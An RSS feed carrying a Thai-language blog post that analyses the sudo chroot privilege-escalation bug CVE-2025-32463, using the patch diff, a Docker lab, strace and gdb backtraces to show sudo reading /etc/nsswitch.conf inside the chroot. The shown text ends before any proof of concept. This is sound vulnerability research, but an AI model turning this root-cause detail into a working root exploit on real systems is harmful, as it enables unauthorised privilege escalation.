<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[pwn8's blob]]></title><description><![CDATA[pwn8's blob]]></description><link>https://pwn8.xyz</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1743532921237/851cd6ab-814b-4302-8729-d41f8308671f.png</url><title>pwn8&apos;s blob</title><link>https://pwn8.xyz</link></image><generator>RSS for Node</generator><lastBuildDate>Thu, 09 Apr 2026 09:14:50 GMT</lastBuildDate><atom:link href="https://pwn8.xyz/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[An Analysis of CVE-2025-32463  :  Sudo Chroot Bug]]></title><description><![CDATA[ปลายเดือนที่แล้ว sudo ได้ทำการ patch ช่องโหว่ที่สามารถทำ Privilege Escalation ได้ได้บนค่าเริ่มต้นของระบบเลย น่าสนใจตรงที่ไม่ต้องมีพื้นฐาน memory corruption ขั้นสูงก็เข้าใจและลองทำ POC ได้ เลยคิดว่าอยากเอามาลองทำ Vulnerability Analysis ดูครับ
ผมชอบ su...]]></description><link>https://pwn8.xyz/an-analysis-of-cve-2025-32463-sudo-chroot-bug</link><guid isPermaLink="true">https://pwn8.xyz/an-analysis-of-cve-2025-32463-sudo-chroot-bug</guid><category><![CDATA[cve-2025-32463]]></category><category><![CDATA[sudo]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[Vulnerability Analysis]]></category><category><![CDATA[binary]]></category><dc:creator><![CDATA[pwn8]]></dc:creator><pubDate>Sun, 10 Aug 2025 09:45:18 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754819038852/7da51813-c463-4dbe-b4be-ea95a403df42.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>ปลายเดือนที่แล้ว sudo ได้ทำการ patch ช่องโหว่ที่สามารถทำ Privilege Escalation ได้ได้บนค่าเริ่มต้นของระบบเลย น่าสนใจตรงที่ไม่ต้องมีพื้นฐาน memory corruption ขั้นสูงก็เข้าใจและลองทำ POC ได้ เลยคิดว่าอยากเอามาลองทำ Vulnerability Analysis ดูครับ</p>
<p>ผมชอบ sudo ตรงที่เค้ามีทำ advisory ช่องโหว่เค้าตลอดให้เราตามอ่านได้ง่าย ช่องโหว่นี้เองก็เช่นกัน ถ้าใครอยากอ่านสามารถเข้าไปอ่านได้ที่นี่ <a target="_blank" href="https://www.sudo.ws/security/advisories/chroot_bug/">Security Advisory</a></p>
<p>ถ้าเข้าไปอ่านเราจะพบกับข้อมูลว่าช่องโหว่นี้ impact กับ sudo version ไหนและมีรายละเอียดคร่าว ๆ เป็นยังไง</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754730732145/ebdc2fb3-c2fd-4406-a7df-5f7e7d69a187.png" alt class="image--center mx-auto" /></p>
<p>จะเห็นว่าจริง ๆ ช่องโหว่ไม่มีอะไรเลย ถ้าอ่านพารากราฟด้านบนเราก็พอจะเดาได้แล้วว่ามันเกิดอะไรขึ้น จะเห็นว่ามัน impact กับ <code>-R</code> ที่เป็นการ set <code>chroot</code> ก่อนจะใช้ command ผ่าน sudo (ทำไปทำไมวะ 55555) จาก detail เราพอจะ scope ได้ว่าช่องโหว่มันเกี่ยวกับ <code>chroot</code> แน่ ๆ งั้นเราไปลอง diff code ดูดีกว่า</p>
<p>เราลอง diff code ดูใน change ระหว่าง <code>v1.9.17</code> และ <code>v1.9.17p1</code> จะพบว่ามีการลบ code ส่วนที่เรียก <code>pivot_root</code> และ <code>unpivot_root</code> ออกหมดเลย</p>
<pre><code class="lang-diff"># git diff v1.9.17 v1.9.17p1 -- '*.c'
diff --git a/plugins/sudoers/sudoers.c b/plugins/sudoers/sudoers.c
index 70a0c1a52..1a8031740 100644
<span class="hljs-comment">--- a/plugins/sudoers/sudoers.c</span>
<span class="hljs-comment">+++ b/plugins/sudoers/sudoers.c</span>
... Snipped ...
 int
 set_cmnd_path(struct sudoers_context *ctx, const char *runchroot)
 {
... Snipped ...
<span class="hljs-deletion">-    /* Pivot root. */</span>
<span class="hljs-deletion">-    if (runchroot != NULL) {</span>
<span class="hljs-deletion">-    if (!pivot_root(runchroot, &amp;pivot_state))</span>
<span class="hljs-deletion">-        goto error;</span>
<span class="hljs-deletion">-    }</span>
<span class="hljs-deletion">-</span>
<span class="hljs-deletion">-    ret = resolve_cmnd(ctx, cmnd_in, &amp;cmnd_out, path);</span>
<span class="hljs-addition">+    ret = resolve_cmnd(ctx, cmnd_in, &amp;cmnd_out, path, runchroot);</span>
... Snipped ...
<span class="hljs-deletion">-    /* Restore root. */</span>
<span class="hljs-deletion">-    if (runchroot != NULL)</span>
<span class="hljs-deletion">-    (void)unpivot_root(&amp;pivot_state);</span>
<span class="hljs-deletion">-</span>
... Snipped ...
 }
</code></pre>
<p>และลบไฟล์ <code>plugins/sudoers/pivot.c</code> ออกด้วย</p>
<pre><code class="lang-diff">diff --git a/plugins/sudoers/pivot.c b/plugins/sudoers/pivot.c
deleted file mode 100644
index 59423f917..000000000
<span class="hljs-comment">--- a/plugins/sudoers/pivot.c</span>
<span class="hljs-comment">+++ /dev/null</span>
</code></pre>
<p>ลองไปดู content ของไฟล์ดีกว่า</p>
<p><strong>File:</strong> plugins/sudoers/pivot.c</p>
<pre><code class="lang-c">
<span class="hljs-comment">/*
 * Pivot to a new root directory, storing the old root and old cwd
 * in state.  Changes current working directory to the new root.
 * Returns true on success, else false.
 */</span>
<span class="hljs-function"><span class="hljs-keyword">bool</span>
<span class="hljs-title">pivot_root</span><span class="hljs-params">(<span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> *new_root, struct sudoers_pivot *state)</span>
</span>{
    debug_decl(pivot_root, SUDOERS_DEBUG_UTIL);

    state-&gt;saved_root = open(<span class="hljs-string">"/"</span>, O_RDONLY);
    state-&gt;saved_cwd = open(<span class="hljs-string">"."</span>, O_RDONLY);
    <span class="hljs-keyword">if</span> (state-&gt;saved_root == <span class="hljs-number">-1</span> || state-&gt;saved_cwd == <span class="hljs-number">-1</span> || chroot(new_root) == <span class="hljs-number">-1</span>) {
    <span class="hljs-keyword">if</span> (state-&gt;saved_root != <span class="hljs-number">-1</span>) {
        close(state-&gt;saved_root);
        state-&gt;saved_root = <span class="hljs-number">-1</span>;
    }
    <span class="hljs-keyword">if</span> (state-&gt;saved_cwd != <span class="hljs-number">-1</span>) {
        close(state-&gt;saved_cwd);
        state-&gt;saved_cwd = <span class="hljs-number">-1</span>;
    }
    debug_return_bool(<span class="hljs-literal">false</span>);
    }
    debug_return_bool(chdir(<span class="hljs-string">"/"</span>) == <span class="hljs-number">0</span>);
}

<span class="hljs-comment">/*
 * Pivot back to the stored root directory and restore the old cwd.
 * Returns true on success, else false.
 */</span>
<span class="hljs-function"><span class="hljs-keyword">bool</span>
<span class="hljs-title">unpivot_root</span><span class="hljs-params">(struct sudoers_pivot *state)</span>
</span>{
    <span class="hljs-keyword">bool</span> ret = <span class="hljs-literal">true</span>;
    debug_decl(unpivot_root, SUDOERS_DEBUG_UTIL);

    <span class="hljs-comment">/* Order is important: restore old root, *then* change cwd. */</span>
    <span class="hljs-keyword">if</span> (state-&gt;saved_root != <span class="hljs-number">-1</span>) {
    <span class="hljs-keyword">if</span> (fchdir(state-&gt;saved_root) == <span class="hljs-number">-1</span> || chroot(<span class="hljs-string">"."</span>) == <span class="hljs-number">-1</span>) {
        sudo_warn(<span class="hljs-string">"%s"</span>, U_(<span class="hljs-string">"unable to restore root directory"</span>));
        ret = <span class="hljs-literal">false</span>;
    }
    close(state-&gt;saved_root);
    state-&gt;saved_root = <span class="hljs-number">-1</span>;
    }
    <span class="hljs-keyword">if</span> (state-&gt;saved_cwd != <span class="hljs-number">-1</span>) {
    <span class="hljs-keyword">if</span> (fchdir(state-&gt;saved_cwd) == <span class="hljs-number">-1</span>) {
        sudo_warn(<span class="hljs-string">"%s"</span>, U_(<span class="hljs-string">"unable to restore current working directory"</span>));
        ret = <span class="hljs-literal">false</span>;
    }
    close(state-&gt;saved_cwd);
    state-&gt;saved_cwd = <span class="hljs-number">-1</span>;
    }

    debug_return_bool(ret);
}
</code></pre>
<p>จะเห็นว่า function ใน <code>pivot.c</code> ใช้ในการ manage เรื่อง <code>chroot</code> จริงด้วยแปลว่า assumption ของเราน่าจะมาถูกทาง</p>
<p>จากนั้นเมื่อ <code>chroot</code> เสร็จ sudo น่าจะมีการเรียกใช้งานฟังก์ชั่นอะไรสักอย่างทำให้ไปอ่าน <code>/etc/nsswitch.conf</code> แต่เมื่อเรา <code>chroot</code> ไปแล้วทำให้ path ที่ไปอ่านทำให้อยู่ใน path ที่อยู่ภายใน <code>chroot</code></p>
<p>แต่ยังมีบางอย่างที่ยังขาด detail บางอย่างที่ผมอยากรู้อยู่ที่วันนี้เราจะมาหาคำตอบไปด้วยกันครับ :)</p>
<ul>
<li><p>sudo อ่าน <code>/etc/nsswitch.conf</code> ตอนไหน?</p>
</li>
<li><p>แล้วทำไมมันถึงอ่าน <code>/etc/nsswitch.conf</code> ใน container ด้วย(วะครับ)?</p>
</li>
</ul>
<h2 id="heading-environment-setup">Environment Setup</h2>
<p>ก่อนไปหาคำตอบเราต้องมาทำสิ่งที่น่ารำคาญที่สุดในการ analyze คือ setup environment ขอบคุณโลกใบนี้ที่มี LLM ให้น้อง generate Dockerfile ที่มี sudo version 1.9.17 เลย</p>
<pre><code class="lang-dockerfile"><span class="hljs-comment"># Use Ubuntu 24.04 as the base image</span>
<span class="hljs-keyword">FROM</span> ubuntu:<span class="hljs-number">24.04</span>

<span class="hljs-comment"># Avoid interactive prompts during package installation</span>
<span class="hljs-keyword">ENV</span> DEBIAN_FRONTEND=noninteractive

<span class="hljs-comment"># Prepare an environment</span>
<span class="hljs-keyword">RUN</span><span class="bash"> apt-get update &amp;&amp; apt-get install -y \
    build-essential \
    wget \
    tar \
    gdb \
    sudo \
    libpam0g-dev \
    libaudit-dev \
    check \
    &amp;&amp; rm -rf /var/lib/apt/lists/*</span>

<span class="hljs-comment"># Set the working directory for our project</span>
<span class="hljs-keyword">WORKDIR</span><span class="bash"> /usr/src/sudo-dev</span>

<span class="hljs-comment"># Download the specified version of the sudo source code</span>
<span class="hljs-keyword">RUN</span><span class="bash"> wget https://www.sudo.ws/dist/sudo-1.9.17.tar.gz</span>

<span class="hljs-comment"># Extract the downloaded tarball</span>
<span class="hljs-keyword">RUN</span><span class="bash"> tar -xzvf sudo-1.9.17.tar.gz</span>

<span class="hljs-comment"># Change the working directory to the extracted source code folder</span>
<span class="hljs-keyword">WORKDIR</span><span class="bash"> /usr/src/sudo-dev/sudo-1.9.17</span>

<span class="hljs-comment"># Configure the build. The --enable-debug flag is crucial as it</span>
<span class="hljs-comment"># compiles sudo with debugging symbols, which are necessary for gdb.</span>
<span class="hljs-keyword">RUN</span><span class="bash"> ./configure --enable-debug</span>

<span class="hljs-comment"># Compile the sudo source code</span>
<span class="hljs-keyword">RUN</span><span class="bash"> make</span>

<span class="hljs-comment"># Install the compiled sudo. This will place it in /usr/local/bin,</span>
<span class="hljs-comment"># effectively replacing the system's default sudo for command-line use.</span>
<span class="hljs-keyword">RUN</span><span class="bash"> make install</span>

<span class="hljs-comment"># Create a non-root user for testing</span>
<span class="hljs-keyword">RUN</span><span class="bash"> useradd -m -s /bin/bash noob</span>

<span class="hljs-comment"># Give the new user passwordless sudo access</span>
<span class="hljs-keyword">RUN</span><span class="bash"> <span class="hljs-built_in">echo</span> <span class="hljs-string">'noob ALL=(ALL) NOPASSWD:ALL'</span> &gt;&gt; /etc/sudoers</span>

<span class="hljs-comment"># Switch to the new user</span>
<span class="hljs-keyword">USER</span> noob
<span class="hljs-keyword">WORKDIR</span><span class="bash"> /home/noob</span>
<span class="hljs-keyword">RUN</span><span class="bash"> mkdir temp</span>

<span class="hljs-comment"># entrypoint</span>
<span class="hljs-keyword">CMD</span><span class="bash"> [<span class="hljs-string">"/bin/bash"</span>]</span>
</code></pre>
<p>ถ้า build เสร็จแล้ว run เบยจร้า อย่าลืมไปเพิ่ม <code>SYS_PTRACE</code> ให้ docker ด้วยล่ะ เดี้ยวใช้ gdb บ่ได้</p>
<p>แอบเพิ่ม sudoers ไว้ใช้ debug</p>
<h2 id="heading-sudo-etcnsswitchconf">sudo อ่าน <code>/etc/nsswitch.conf</code> ตอนไหน?</h2>
<p>จากข้อมูลที่เรามีตอนนี้ เราสามารถ scope code ที่ควรอ่าน ซึ่งจะอยู่ระหว่างการ <code>chroot</code> หรือคือ <code>pivot_root</code> และ <code>unpivot_root</code></p>
<p><strong>File:</strong> plugins/sudoers/sudoers.c</p>
<pre><code class="lang-c">set_cmnd_path(struct sudoers_context *ctx, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> *runchroot)
{
    <span class="hljs-comment">// ... Snipped ...</span>
    <span class="hljs-comment">/* Pivot root. */</span>
    <span class="hljs-keyword">if</span> (runchroot != <span class="hljs-literal">NULL</span>) {
    <span class="hljs-keyword">if</span> (!pivot_root(runchroot, &amp;pivot_state))
        <span class="hljs-keyword">goto</span> error;
    }

    ret = resolve_cmnd(ctx, cmnd_in, &amp;cmnd_out, path);
    <span class="hljs-keyword">if</span> (ret == FOUND) {
    <span class="hljs-keyword">char</span> *slash = <span class="hljs-built_in">strrchr</span>(cmnd_out, <span class="hljs-string">'/'</span>);
    <span class="hljs-keyword">if</span> (slash != <span class="hljs-literal">NULL</span>) {
        *slash = <span class="hljs-string">'\0'</span>;
        ctx-&gt;user.cmnd_dir = canon_path(cmnd_out);
        <span class="hljs-keyword">if</span> (ctx-&gt;user.cmnd_dir == <span class="hljs-literal">NULL</span> &amp;&amp; errno == ENOMEM)
        <span class="hljs-keyword">goto</span> error;
        *slash = <span class="hljs-string">'/'</span>;
    }
    }

    <span class="hljs-keyword">if</span> (ISSET(ctx-&gt;mode, MODE_CHECK))
    ctx-&gt;user.cmnd_list = cmnd_out;
    <span class="hljs-keyword">else</span>
    ctx-&gt;user.cmnd = cmnd_out;

    <span class="hljs-comment">/* Restore root. */</span>
    <span class="hljs-keyword">if</span> (runchroot != <span class="hljs-literal">NULL</span>)
    (<span class="hljs-keyword">void</span>)unpivot_root(&amp;pivot_state);

    <span class="hljs-comment">// ... Snipped ...</span>
}
</code></pre>
<p>คำถามคึอเราควรไล่ DFS ไปทีละ function ว่ามันโหลด <code>/etc/nsswitch.conf</code> ที่ไหนไหม? จริง ๆ ก็ได้แต่คนขี้เกียจแบบเราเลือก way อื่นที่ง่ายกว่า</p>
<p>ขอแนะนำให้ทุกคนรู้จัก tool เทพของเราในวันนี้ <code>strace</code> ซึ่งเอาไว้ใช้ trace ว่ามี syscall ไหนโดนเรียกบ้างขณะ execute command โดยเราจะ filter เอาเฉพาะ <code>chroot</code> และ files operation (ตอน analyze ตอนแรกผมไม่ได้ใส่ filter แต่เขียนบทความเลยมา filter ออกจะได้ scope ง่าย ๆ)</p>
<pre><code class="lang-bash">noob@e3ff6ee0ed3a:~$ sudo strace -e trace=file,chroot sudo -R temp temp
execve(<span class="hljs-string">"/usr/local/bin/sudo"</span>, [<span class="hljs-string">"sudo"</span>, <span class="hljs-string">"-R"</span>, <span class="hljs-string">"temp"</span>, <span class="hljs-string">"temp"</span>], 0x7ffc0031d258 /* 16 vars */) = 0
... Snipped ...
chroot(<span class="hljs-string">"temp"</span>)                          = 0
<span class="hljs-built_in">chdir</span>(<span class="hljs-string">"/"</span>)                              = 0
openat(AT_FDCWD, <span class="hljs-string">"/proc/sys/kernel/ngroups_max"</span>, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/etc/nsswitch.conf"</span>, 0x7ffebd061e90, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/"</span>, {st_mode=S_IFDIR|0755, st_size=4096, ...}, 0) = 0
openat(AT_FDCWD, <span class="hljs-string">"/etc/nsswitch.conf"</span>, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/etc/nsswitch.conf"</span>, 0x7ffebd061e90, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, <span class="hljs-string">"/etc/group"</span>, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/usr/local/sbin/temp"</span>, 0x56b5b6f4f5b0, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/usr/local/bin/temp"</span>, 0x56b5b6f4f5b0, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/usr/sbin/temp"</span>, 0x56b5b6f4f5b0, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/usr/bin/temp"</span>, 0x56b5b6f4f5b0, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/sbin/temp"</span>, 0x56b5b6f4f5b0, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/bin/temp"</span>, 0x56b5b6f4f5b0, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/snap/bin/temp"</span>, 0x56b5b6f4f5b0, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/usr/local/sbin/temp"</span>, 0x56b5b6f4f5b0, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/usr/local/bin/temp"</span>, 0x56b5b6f4f5b0, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/usr/sbin/temp"</span>, 0x56b5b6f4f5b0, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/usr/bin/temp"</span>, 0x56b5b6f4f5b0, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/sbin/temp"</span>, 0x56b5b6f4f5b0, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/bin/temp"</span>, 0x56b5b6f4f5b0, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, <span class="hljs-string">"/snap/bin/temp"</span>, 0x56b5b6f4f5b0, 0) = -1 ENOENT (No such file or directory)
chroot(<span class="hljs-string">"."</span>)                             = 0
... Snipped ...
chroot(<span class="hljs-string">"temp"</span>)                          = 0
<span class="hljs-built_in">chdir</span>(<span class="hljs-string">"/"</span>)                              = 0
chroot(<span class="hljs-string">"."</span>)                             = 0
... Snipped ...
</code></pre>
<p>จาก strace ด้านบนจะเห็นว่ามี syscall <code>openat(AT_FDCWD, "/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC)</code> หลัง chroot ด้วยเพิ่มเติมคือมันหา file ไม่เจอเพราะยังไม่ได้สร้างใน <code>./temp/etc/</code> strace ทำให้เรารู้ว่ามันเปิดไฟล์นี้จริงไหม แต่จะไม่เห็นว่ามันเปิดอ่านจากฟังก์ชันไหนอยู่ดี</p>
<p>แล้วถ้าอยากรู้ว่าตอนที่มันเปิดอ่านไฟล์ที่ไหนนี่เราต้องทำยังไง? ง่ายมากครับรอบนี้กลับมาที่ <code>gdb</code> ที่เรารักเบย</p>
<pre><code class="lang-bash">sudo gdb --args sudo -R temp temp
</code></pre>
<p>โดย gdb เองเราสามารถทำการ breakpoint ที่ syscall ได้โดยใช้คำสั่ง <code>catch syscall [Syscall number]</code> หรือของ openat ผมจำได้ syscall number คือ 257</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Trick สำหรับการ debug : รันโปรแกรมให้ทำงานรอบหนึ่งก่อน เพื่อให้โหลด symbol เรียบร้อย เวลาเซ็ต breakpoint จะได้ไม่สับสน จากนั้นตั้ง breakpoint ที่ <code>pivot_root</code> ก่อน แล้วค่อยใช้ <code>catch syscall</code> จะช่วยลดจำนวนครั้งที่ต้อง <code>continue</code> ลงเยอะ</div>
</div>


<p>หรือถ้าต้องการ ก็สามารถตั้งเงื่อนไข (conditional breakpoint) ได้ แต่ในเคสนี้ผมมองว่าจำนวน event ไม่เยอะ และเราทำแค่ครั้งเดียว ก็ใช้วิธี <code>c</code> ต่อได้เลย</p>
<pre><code class="lang-bash">(gdb) r
Starting program: /usr/<span class="hljs-built_in">local</span>/bin/sudo -R temp temp
... Snipped ...
sudo: you are not permitted to use the -R option with temp
[Inferior 1 (process 264) exited with code 01]
<span class="hljs-comment"># setup breakpoint</span>
(gdb) b pivot_root

(gdb) r
Starting program: /usr/<span class="hljs-built_in">local</span>/bin/sudo -R temp temp
... Snipped ...
Breakpoint 1.1, pivot_root (new_root=0x5a980000f50c <span class="hljs-string">"temp"</span>, state=0x7ffe9a3ace18) at ./pivot.c:39
39      {
<span class="hljs-comment"># setup breakpoint for openat</span>
(gdb) catch syscall 257
Catchpoint 2 (syscall <span class="hljs-string">'openat'</span> [257])
(gdb) c
Continuing.

Catchpoint 2 (call to syscall openat), 0x000072c80be8f175 <span class="hljs-keyword">in</span> __libc_open64 (file=file@entry=0x72c80bcd8858 <span class="hljs-string">"/"</span>, oflag=oflag@entry=0) at ../sysdeps/unix/sysv/linux/open64.c:41
warning: 41     ../sysdeps/unix/sysv/linux/open64.c: No such file or directory
(gdb) c
Continuing.
... Snipped ...
<span class="hljs-comment"># c until we found /etc/nsswitch.conf</span>
Catchpoint 2 (call to syscall openat), __GI___open64_nocancel (file=0x72c80bf42d92 <span class="hljs-string">"/etc/nsswitch.conf"</span>, oflag=524288) at ../sysdeps/unix/sysv/linux/open64_nocancel.c:39
39      <span class="hljs-keyword">in</span> ../sysdeps/unix/sysv/linux/open64_nocancel.c
</code></pre>
<p>เมื่อเราเจอ syscall เพื่อเปิด <code>/etc/nsswitch.conf</code> แล้วให้เรา backtrace เพื่อดู function ที่ call มานั้นเอง</p>
<pre><code class="lang-bash">(gdb) bt
<span class="hljs-comment">#0  __GI___open64_nocancel (file=0x72c80bf42d92 "/etc/nsswitch.conf", oflag=524288) at ../sysdeps/unix/sysv/linux/open64_nocancel.c:39</span>
<span class="hljs-comment">#1  0x000072c80be05bb5 in __GI__IO_file_open (fp=fp@entry=0x5a9800016e80, filename=&lt;optimized out&gt;, posix_mode=&lt;optimized out&gt;, prot=prot@entry=438, read_write=8, is32not64=&lt;optimized out&gt;)</span>
    at ./libio/fileops.c:185
<span class="hljs-comment">#2  0x000072c80be05e52 in _IO_new_file_fopen (fp=fp@entry=0x5a9800016e80, filename=filename@entry=0x72c80bf42d92 "/etc/nsswitch.conf", mode=&lt;optimized out&gt;, mode@entry=0x72c80bf3edb4 "rce",</span>
    is32not64=is32not64@entry=1) at ./libio/fileops.c:281
<span class="hljs-comment">#3  0x000072c80bdf9ee2 in __fopen_internal (is32=1, mode=0x72c80bf3edb4 "rce", filename=0x72c80bf42d92 "/etc/nsswitch.conf") at ./libio/iofopen.c:75</span>
<span class="hljs-comment">#4  _IO_new_fopen (filename=filename@entry=0x72c80bf42d92 "/etc/nsswitch.conf", mode=mode@entry=0x72c80bf3edb4 "rce") at ./libio/iofopen.c:86</span>
<span class="hljs-comment">#5  0x000072c80bec647d in nss_database_reload (initial=0x7ffe9a3ac500, staging=0x7ffe9a3ac5c0) at ./nss/nss_database.c:306</span>
<span class="hljs-comment">#6  nss_database_check_reload_and_get (local=&lt;optimized out&gt;, result=0x7ffe9a3ac6f0, database_index=nss_database_initgroups) at ./nss/nss_database.c:457</span>
<span class="hljs-comment">#7  0x000072c80becaddc in internal_getgrouplist (user=user@entry=0x5a9800010c08 "root", group=group@entry=0, size=size@entry=0x7ffe9a3ac748, groupsp=groupsp@entry=0x7ffe9a3ac750, limit=limit@entry=-1)</span>
    at ./nss/initgroups.c:75
<span class="hljs-comment">#8  0x000072c80becb0dc in getgrouplist (user=user@entry=0x5a9800010c08 "root", group=group@entry=0, groups=groups@entry=0x72c80bbdf010, ngroups=ngroups@entry=0x7ffe9a3ac7b4) at ./nss/initgroups.c:156</span>
<span class="hljs-comment">#9  0x000072c80bf95079 in sudo_getgrouplist2_v1 (name=0x5a9800010c08 "root", basegid=0, groupsp=groupsp@entry=0x7ffe9a3ac810, ngroupsp=ngroupsp@entry=0x7ffe9a3ac81c) at ./getgrouplist.c:105</span>
<span class="hljs-comment">#10 0x000072c80bcb761e in sudo_make_gidlist_item (pw=0x5a9800010bd8, ngids=&lt;optimized out&gt;, gids=&lt;optimized out&gt;, gidstrs=0x0, type=1) at ./pwutil_impl.c:298</span>
<span class="hljs-comment">#11 0x000072c80bcb6175 in sudo_get_gidlist (pw=0x5a9800010bd8, type=type@entry=1) at ./pwutil.c:1033</span>
<span class="hljs-comment">#12 0x000072c80bcad96b in runas_getgroups (ctx=ctx@entry=0x72c80bd056c0 &lt;sudoers_ctx&gt;) at ./match.c:146</span>
<span class="hljs-comment">#13 0x000072c80bc99a5c in runas_setgroups (ctx=0x72c80bd056c0 &lt;sudoers_ctx&gt;) at ./set_perms.c:1634</span>
<span class="hljs-comment">#14 set_perms (ctx=ctx@entry=0x72c80bd056c0 &lt;sudoers_ctx&gt;, perm=perm@entry=5) at ./set_perms.c:285</span>
<span class="hljs-comment">#15 0x000072c80bcb8b58 in resolve_cmnd (ctx=ctx@entry=0x72c80bd056c0 &lt;sudoers_ctx&gt;, infile=infile@entry=0x7ffe9a3af753 "temp", outfile=outfile@entry=0x7ffe9a3ace20,</span>
    path=path@entry=0x5a9800018070 <span class="hljs-string">"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"</span>) at ./resolve_cmnd.c:42
<span class="hljs-comment">#16 0x000072c80bc9c9dc in set_cmnd_path (ctx=ctx@entry=0x72c80bd056c0 &lt;sudoers_ctx&gt;, runchroot=0x5a980000f50c "temp") at ./sudoers.c:1108</span>
<span class="hljs-comment">#17 0x000072c80bc9ce67 in set_cmnd (ctx=0x72c80bd056c0 &lt;sudoers_ctx&gt;) at ./sudoers.c:1177</span>
<span class="hljs-comment">#18 sudoers_check_common (pwflag=pwflag@entry=0, ctx=0x72c80bd056c0 &lt;sudoers_ctx&gt;) at ./sudoers.c:358</span>
<span class="hljs-comment">#19 0x000072c80bc9e4e8 in sudoers_check_cmnd (argc=argc@entry=1, argv=argv@entry=0x7ffe9a3ae4a0, env_add=env_add@entry=0x0, closure=closure@entry=0x7ffe9a3acfb0) at ./sudoers.c:689</span>
<span class="hljs-comment">#20 0x000072c80bc94493 in sudoers_policy_check (argc=1, argv=0x7ffe9a3ae4a0, env_add=0x0, command_infop=0x7ffe9a3ad070, argv_out=0x7ffe9a3ad078, user_env_out=0x7ffe9a3ad080, errstr=0x7ffe9a3ad098)</span>
    at ./policy.c:1244
<span class="hljs-comment">#21 0x00005a97d213bf93 in policy_check (run_envp=0x7ffe9a3ad080, run_argv=0x7ffe9a3ad078, command_info=0x7ffe9a3ad070, env_add=0x0, argv=0x7ffe9a3ae4a0, argc=1) at ./sudo.c:1266</span>
<span class="hljs-comment">#22 main (argc=&lt;optimized out&gt;, argv=&lt;optimized out&gt;, envp=&lt;optimized out&gt;) at ./sudo.c:261</span>
</code></pre>
<p>แค่นี้เราก็ได้คำตอบแล้วว่าในฝั่งของ sudo นั้นได้ทำการเรียก <code>getgrouplist()</code> ในฟังก์ชั่น <code>sudo_getgrouplist2_v1()</code> ที่ path <code>lib/util/getgrouplist.c</code> นั่นเอง</p>
<p>จากนี้ใครอยากเข้าใจว่า sudo ทำอะไร ทำไมมันถึงมาเรียก <code>getgrouplist()</code> สามารถไปอ่านเพิ่มเติมใน path ที่ผมบอกเบย(แล้วกลับมาเล่าให้ฟังด้วย)</p>
<h2 id="heading-etcnsswitchconf-container">แล้วทำไมมันถึงอ่าน <code>/etc/nsswitch.conf</code> ใน container ด้วย(วะครับ)?</h2>
<p>ตรงนี้แหละคือจุดที่ผมติดอยู่พักใหญ่ พยายามหาคำตอบอยู่นานว่ามันเกิดจากอะไร คำตอบ… เดี๋ยวเจอกันใน Bonus Part ครับ 😉</p>
<p>ก่อนอื่นมาทำความรู้จักกับ The Name Service Switch (NSS) กันก่อนจากนี้ผมจะเรียกชื่อว่า NSS นะครับ</p>
<p>NSS เป็นวิธีที่ Glibc และหลาย ๆ โปรแกรมบน Linux ใช้ในการเลือก Source ของข้อมูลต่าง ๆ ใน system เช่น group, hosts, passwd และอื่น ๆ โดยการ configure ต่าง ๆ จะอยู่ที่ไฟล์ <code>/etc/nsswitch.conf</code> นั่นเอง อยากรู้เพิ่มเติมไปอ่าน <a target="_blank" href="https://man7.org/linux/man-pages/man5/nsswitch.conf.5.html">Manual</a> กันเองได้เลยค้อฟ</p>
<p>จาก backtrace ด้านบนผมจะ scope ลงมาส่วนที่สนใจว่าทำไมมันถึง load ไฟล์ configure จะเห็นว่า <code>nss_database_check_reload_and_get()</code> ถูกเรียกที่ <code>./nss/nss_database.c:457</code> นี่ควรจะเป็นจุดแรก ๆ ที่เราไปดู</p>
<pre><code class="lang-bash"><span class="hljs-comment">#4  _IO_new_fopen (filename=filename@entry=0x72c80bf42d92 "/etc/nsswitch.conf", mode=mode@entry=0x72c80bf3edb4 "rce") at ./libio/iofopen.c:86</span>
<span class="hljs-comment">#5  0x000072c80bec647d in nss_database_reload (initial=0x7ffe9a3ac500, staging=0x7ffe9a3ac5c0) at ./nss/nss_database.c:306</span>
